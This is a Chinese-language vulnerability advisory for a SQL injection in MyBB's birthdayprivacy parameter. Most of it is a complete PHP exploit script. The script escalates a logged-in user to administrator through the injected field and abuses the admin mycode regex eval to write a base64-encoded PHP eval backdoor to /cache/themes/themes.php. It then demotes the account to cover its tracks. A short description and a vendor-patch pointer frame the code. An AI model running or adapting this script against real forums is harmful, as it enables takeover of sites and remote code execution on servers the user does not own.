MyBB birthdayprivacy参数SQL注入漏洞


添加时间:
2009-06-24

系统编号:
WAVDB-01450
BUGTRAQ: 35458

影响版本:
MyBB < 1.4.7

程序介绍:

MyBB是一款流行的Web论坛程序。

漏洞分析:

MyBB没有正确地验证用户请求中提交给inc/datahandlers/user.php模块的birthdayprivacy参数,远程攻击者可以通过向论坛提交恶意请求执行SQL注入攻击,导致获得论坛的管理权限。成功利用这个漏洞要求打开了Mybb的不可视模式且拥有有效的登录凭据。


漏洞利用:

 
  1. <?PHP  
  2.   
  3. $mybb = new maibibi2;  
  4.   
  5.   
  6. class maibibi2   
  7. {  
  8.   
  9.     function __construct ()  
  10.     {  
  11.   
  12.   
  13.   
  14.         $this->user    = $this->get_argv('-u');  
  15.         $this->pass    = $this->get_argv('-p');  
  16.         $this->target    = $this->get_argv('-t');  
  17.         $this->admindir    = $this->get_argv('--admindir');      
  18.         $this->oa2u    = $this->get_argv('--onlyadmin2user');  
  19.   
  20.         $this->ip    = '67.167.124.135';  
  21.         $this->ua    = 'Mozilla 5.0';  
  22.         $this->bckdr    = '/cache/themes/themes.php';  
  23.   
  24.         if ($this->get_argv('--help') !== False || $this->get_argv('-h') !== False)    $this->help();  
  25.         if (!$this->user || !$this->pass)                        die ("You have to insert User/Password\r\nUse --help or -h for more informations.\r\n");  
  26.         if (!$this->target)                                die ("You have to insert Target\r\nUse --help or -h for more informations.\r\n");  
  27.               
  28.         $this->http();  
  29.         $this->init();  
  30.   
  31.               
  32.     }  
  33.   
  34.     function help ()  
  35.     {  
  36.   
  37.         die ("Under Construction\r\n");  
  38.   
  39.     }  
  40.   
  41.     function get_argv ($what)  
  42.     {  
  43.         global $argv;  
  44.   
  45.         if (!$n = array_search($what$argv)) return False;  
  46.         return $argv[$n+1];      
  47.     }  
  48.   
  49.     function init ()  
  50.     {  
  51.   
  52.         set_time_limit(0); // about 30 seconds left? Be serious.  
  53.   
  54.         echo "[.] Initialing.\r\n";  
  55.   
  56.             if (!$this->mybbuser = $this->ilovecookies ()) die ("Incorrect credentials.\r\n");  
  57.   
  58.         echo "[+] Logged in.\r\n";  
  59.   
  60.             if (!$this->mypostkey = $this->getmypostkey())  die ("My_Post_Key Not Found.\r\n");  
  61.   
  62.         echo "[+] my_post_key variable found.\r\n";  
  63.   
  64.             $this->hidemefromonlinelist();  
  65.   
  66.         echo "[+] Turned On mybb's invisible mode.\r\n";  
  67.   
  68.             $this->user2admin();  
  69.   
  70.         echo "[+] Sql code injected. You're now admin.\r\n";  
  71.   
  72.             if (!$this->admindir && !$this->admindir = $this->findadmindir()) die ("Unable to find admin Dir.\r\nWhatever it's possible your user is currently an administrator.\r\nIf you know admin dir path, you may use --admindir\r\n");  
  73.   
  74.         echo "[+] Admindir found (or --admindir is used): {$this->admindir}.\r\n";          
  75.   
  76.             if (!$this->adminsid = $this->loginadmin())  die ("[-] Unable to login as admin.\r\nWhatever it's possible your user is currently an administrator.\r\n");  
  77.           
  78.         echo "[+] Admin sid Found: {$this->adminsid}\r\n";          
  79.             #$this->writabledirs();  
  80.             $this->rce ();          
  81.             if (!$this->checkrce ()) die ("Unable to Execute PHP Code.\r\nWhatever it's possible your user is currently an administrator.\r\n");  
  82.   
  83.         echo "[+] Site correctly backdoored.\r\n";  
  84.   
  85.             $this->admin2user();  
  86.   
  87.         echo "[+] Sql code injected. You're now user.\r\n";  
  88.         echo "[+] Backdoor URI: {$this->target}{$this->bckdr}\r\n";  
  89.         echo "All Done. The:Paradox hopes you used this exploit exclusively for your own fun and you enjoyed it.\r\nHave a nice day :P\r\n\r\n";  
  90.   
  91.     }      
  92.   
  93.     function ilovecookies ()  
  94.     {  
  95.         $this->header = array ('client-ip' => $this->ip ,'User-Agent' => $this->ua);  
  96.         $this->postdata = array ('username' => $this->user, 'password' => $this->pass, 'submit' => 'Login''action' => 'do_login');  
  97.           
  98.         $rsp = $this->post ("{$this->target}/member.php");  
  99.           
  100.         if (!preg_match_all ('~mybbuser=(.+?);~',$rsp,$res)) return False;  
  101.   
  102.         return $res[1][0];  
  103.           
  104.   
  105.     }  
  106.   
  107.     function getmypostkey ()  
  108.     {  
  109.   
  110.         $this->header = array ('client-ip' => $this->ip ,'User-Agent' => $this->ua, 'Referer' => "{$this->target}/member.php"'Cookie' => "mybbuser={$this->mybbuser};");  
  111.         $rsp = $this->get ("{$this->target}/usercp.php?action=profile");  
  112.   
  113.         if (!preg_match_all ('~name="my_post_key" value="(.+?)" />~',$rsp,$res)) return False;  
  114.   
  115.         return $res[1][0];                  
  116.   
  117.     }  
  118.   
  119.     function hidemefromonlinelist()  
  120.   
  121.     {  
  122.         $this->header = array ('client-ip' => $this->ip ,'User-Agent' => $this->ua, 'Referer' => "{$this->target}/usercp.php?action=profile"'Cookie' => "mybbuser={$this->mybbuser};");  
  123.         $this->postdata = array ('my_post_key' => $this->mypostkey, 'invisible' => '1''action' => 'do_options''regsubmit' => 'Update+Options');  
  124.           
  125.         $rsp = $this->post ("{$this->target}/member.php");  
  126.           
  127.     }  
  128.   
  129.     function user2admin ()  
  130.   
  131.     {  
  132.   
  133.         $this->header = array ('client-ip' => $this->ip ,'User-Agent' => $this->ua, 'Referer' => "{$this->target}/usercp.php?action=profile"'Cookie' => "mybbuser={$this->mybbuser};");  
  134.         $this->postdata = array ('my_post_key'             => $this->mypostkey,   
  135.                     'invisible'            => '1',   
  136.                     'bday1'                => '',   
  137.                     'bday2'                => '',   
  138.                     'bday3'                => '',   
  139.                     'website'            => 'http%3A%2F%2F',   
  140.                     'profile_fields%5Bfid3%5D'    => 'Undisclosed',   
  141.                     'profile_fields%5Bfid2%5D'    => 'Undisclosed',  
  142.                     'profile_fields%5Bfid1%5D'    => 'Undisclosed',   
  143.                     'usertitle'            => '',  
  144.                     'icq'                => '',   
  145.                     'aim'                => '',   
  146.                     'msn'                => '',   
  147.                     'yahoo'                => '',   
  148.                     'away'                => '0',   
  149.                     'awayreason'            => '',   
  150.                     'awayday'            => '',   
  151.                     'awaymonth'            => '',  
  152.                     'awayyear'            => '',  
  153.                     'birthdayprivacy'        => "all', usergroup=4, email='pr3sident@whit3house.gov',regip='79.140.81.83', longregip='1334595923', lastip='', longlastip='",  
  154.                     'action'            => 'do_profile',   
  155.                     'regsubmit'            => '1');  
  156.   
  157.         $rsp = $this->post ("{$this->target}/usercp.php");  
  158.   
  159.     }  
  160.       
  161.     function findadmindir ()  
  162.     {  
  163.   
  164.         $this->header = array ('client-ip' => $this->ip ,'User-Agent' => $this->ua, 'Referer' => "{$this->target}/usercp.php?action=profile"'Cookie' => "mybbuser={$this->mybbuser};");  
  165.         $rsp = $this->get("{$this->target}/index.php");  
  166.   
  167.   
  168.         if (!preg_match_all ("~<!-- start: header_welcomeblock_member_admin -->  
  169. — <a href=\"{$this->target}(.+?)/index.php\">~",$rsp,$res)) return False;  
  170.   
  171.         return $res[1][0];                  
  172.   
  173.   
  174.   
  175.     }  
  176.   
  177.     function loginadmin ()  
  178.   
  179.     {  
  180.           
  181.         $this->header = array ('client-ip' => $this->ip ,'User-Agent' => $this->ua, 'Referer' => "{$this->target}/usercp.php?action=profile"'Cookie' => "mybbuser={$this->mybbuser};");  
  182.         $this->postdata = array ('username' => $this->user, 'password' => $this->pass, 'do' => 'login');  
  183.   
  184.         $rsp = $this->post ("{$this->target}/{$this->admindir}/index.php");  
  185.           
  186.         if (!preg_match_all ('~adminsid=(.+?);~',$rsp,$res)) return False;  
  187.   
  188.         return $res[1][0];  
  189.     }  
  190.   
  191.     function writabledirs ()  
  192.     {  
  193.         $this->header = array ('client-ip' => $this->ip ,'User-Agent' => $this->ua, 'Referer' => "{$this->target}/{$this->admindir}/index.php?"'Cookie' => "mybbuser={$this->mybbuser}; adminsid={$this->adminsid};");  
  194.         $this->get ("{$this->target}/{$this->admindir}/index.php?module=tools") ;  
  195.   
  196.   
  197.     }  
  198.   
  199.   
  200.     function rceOld ()  
  201.   
  202.     {  
  203.   
  204.     //edits inc/functions.php (original one)  
  205.   
  206.     $this->header = array ('client-ip' => $this->ip ,'User-Agent' => $this->ua, 'X-Requested-With' => 'XMLHttpRequest''Referer' => "{$this->target}/{$this->admindir}/index.php?module=config/mycode&action=edit&cid=1"'Cookie' => "mybbuser={$this->mybbuser}; adminsid={$this->adminsid};");  
  207.     $this->postdata = array ('my_post_key'             => $this->mypostkey,   
  208.                     'o_o'                => 'phpinfo();',   
  209.                     'regex'                => '(.*%3F)#e%00',   
  210.                     'replacement'            => 'die(eval(stripslashes($_REQUEST[\'o_o\'])));',   
  211.                     'test_value'            => 'XoD');  
  212.   
  213.     $rsp = $this->post ("{$this->target}/{$this->admindir}/index.php?module=config/mycode&action=xmlhttp_test_mycode");  
  214.   
  215.   
  216.     }  
  217.   
  218.     function rce ()  
  219.   
  220.     {  
  221.   
  222.     $this->header = array ('client-ip' => $this->ip ,'User-Agent' => $this->ua, 'X-Requested-With' => 'XMLHttpRequest''Referer' => "{$this->target}/{$this->admindir}/index.php?module=config/mycode&action=edit&cid=1"'Cookie' => "mybbuser={$this->mybbuser}; adminsid={$this->adminsid};");  
  223.     $this->postdata = array ('my_post_key'             => $this->mypostkey,   
  224.                     'o_o'                => 'JGZwID0gZm9wZW4oJF9SRVFVRVNUWydmaWxlJ10sICdhJyk7DQpmd3JpdGUoJGZwLCAnPD9QSFAgaWYgKGlzc2V0KCRfUkVRVUVTVFt4XSkpIGV2YWwoc3RyaXBzbGFzaGVzKCRfUkVRVUVTVFt4XSkpOyA/PicpOw0KZmNsb3NlKCRmcCk7',   
  225.                     'regex'                => '(.*%3F)#e%00',   
  226.                     'replacement'            => 'die(eval(base64_decode($_REQUEST[\'o_o\'])));',   
  227.                     'test_value'            => 'XoD',  
  228.                     'file'                => "../{$this->bckdr}");  
  229.   
  230.     $rsp = $this->post ("{$this->target}/{$this->admindir}/index.php?module=config/mycode&action=xmlhttp_test_mycode");  
  231.   
  232.   
  233.     }  
  234.   
  235.   
  236.     function admin2user ()  
  237.       
  238.     {  
  239.   
  240.         $this->header = array ('client-ip' => $this->ip ,'User-Agent' => $this->ua, 'Referer' => "{$this->target}/usercp.php?action=profile"'Cookie' => "mybbuser={$this->mybbuser};");  
  241.         $this->postdata = array ('my_post_key'             => $this->mypostkey,   
  242.                     'invisible'            => '1',   
  243.                     'bday1'                => '',   
  244.                     'bday2'                => '',   
  245.                     'bday3'                => '',   
  246.                     'website'            => 'http%3A%2F%2F',   
  247.                     'profile_fields%5Bfid3%5D'    => 'Undisclosed',   
  248.                     'profile_fields%5Bfid2%5D'    => 'Undisclosed',  
  249.                     'profile_fields%5Bfid1%5D'    => 'Undisclosed',   
  250.                     'usertitle'            => '',  
  251.                     'icq'                => '',   
  252.                     'aim'                => '',   
  253.                     'msn'                => '',   
  254.                     'yahoo'                => '',   
  255.                     'away'                => '0',   
  256.                     'awayreason'            => '',   
  257.                     'awayday'            => '',   
  258.                     'awaymonth'            => '',  
  259.                     'awayyear'            => '',  
  260.                     'birthdayprivacy'        => "all', usergroup=2, email='pr3sident.whit3house@gmail.com',regip='79.140.81.83', longregip='1334595923', lastip='', longlastip='",  
  261.                     'action'            => 'do_profile',   
  262.                     'regsubmit'            => '1');  
  263.   
  264.         $rsp = $this->post ("{$this->target}/usercp.php");  
  265.   
  266.     }  
  267.   
  268.     function checkrce_old ()  
  269.   
  270.     {  
  271.         $this->header = array ('client-ip' => $this->ip ,'Cookie' => 'x=print \'.:31337:.\'%3B;');  
  272.         $rsp = $this->get ("{$this->target}/{$this->admindir}/inc/functions.php?");  
  273.   
  274.         if (!strstr($rsp,'.:31337:.'))    return False;  
  275.         else                return True;  
  276.   
  277.     }  
  278.   
  279.     function checkrce ()  
  280.   
  281.     {  
  282.         $this->header = array ('client-ip' => $this->ip ,'Cookie' => 'x=print \'.:31337:.\'%3B;');  
  283.         $rsp = $this->get ("{$this->target}/{$this->bckdr}");  
  284.   
  285.         if (!strstr($rsp,'.:31337:.'))    return False;  
  286.         else                return True;  
  287.   
  288.     }  
  289.   
  290.   
  291.     function http ($port = 80, $header = array(), $post = array(), $timeout = 30)  
  292.     {  
  293.   
  294.         $this->port    = $port;  
  295.         $this->timeout    = $timeout;  
  296.         $this->header    = $header;  
  297.         $this->postdata    = $post;  
  298.     }  
  299.   
  300.     function get ($url)  
  301.     {  
  302.         $this->url = parse_url($url);  
  303.         $this->packet = array();  
  304.   
  305.         $this->packet[] = "GET {$this->url['path']}?{$this->url['query']}{$this->url['fragment']} HTTP/1.1";  
  306.         $this->packet[] = "Host: {$this->url['host']}";  
  307.   
  308.         foreach ($this->header as $header => $value)  
  309.         {  
  310.             $this->packet[] = "$header: $value";  
  311.         }  
  312.           
  313.         $this->packet[] = "\r\n\r\n";   
  314.         $this->packet    = implode ("\r\n",$this->packet);  
  315.   
  316.         return $this->conn();  
  317.     }  
  318.   
  319.     function post ($url)  
  320.     {  
  321.         $this->url = parse_url($url);  
  322.   
  323.         $this->packet = array();  
  324.         $this->postcontent = '';  
  325.   
  326.         $this->packet[] = "POST {$this->url['path']}?{$this->url['query']}{$this->url['fragment']} HTTP/1.1";  
  327.         $this->packet[] = "Host: {$this->url['host']}";  
  328.   
  329.         foreach ($this->header as $header => $value)  
  330.         {  
  331.             $this->packet[] = "$header: $value";  
  332.         }  
  333.       
  334.         foreach ($this->postdata as $post => $value)  
  335.         {  
  336.             if ($this->postcontent != ''$this->postcontent .= '&';   
  337.             $this->postcontent .= "$post=$value";  
  338.         }  
  339.       
  340.         $this->packet[] = 'Content-Type: application/x-www-form-urlencoded';  
  341.         $this->packet[] = "Content-Length: ".strlen($this->postcontent)."\r\n";  
  342.         $this->packet[] = $this->postcontent;  
  343.   
  344.         $this->packet    = implode ("\r\n",$this->packet);  
  345.   
  346.         return $this->conn();  
  347.     }  
  348.   
  349.   
  350.     function conn()  
  351.     {  
  352.         if (!isset($this->url['port']))    $this->url['port'] = $this->port;  
  353.   
  354.         $sk = fsockopen ($this->url['host'], $this->url['port'], $eno$estr$this->timeout);  
  355.   
  356.         if (!is_resource($sk))    return "[-] Fsockopen Failed! Error: ".$estr." [".$eno."]" ;  
  357.   
  358.         else    {  
  359.   
  360.                     fputs($sk$this->packet);  
  361.                 $rsp = "";  
  362.                   
  363.                 while (!feof($sk))   
  364.                     {  
  365.                                $rsp .= fgets ($sk, 1024);  
  366.                     }  
  367.             }  
  368.   
  369.         fclose($sk);  
  370.         return $rsp;  
  371.     }  
  372.   
  373.   
  374.   
  375. }  
  376.   
  377. ?>  



解决方案:
厂商补丁:

MyBB
----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://blog.mybboard.net/2009/06 ... ed-security-update/

信息来源:
<*来源:The:Paradox

链接:http://milw0rm.com/exploits/9001
http://secunia.com/advisories/35517/
*>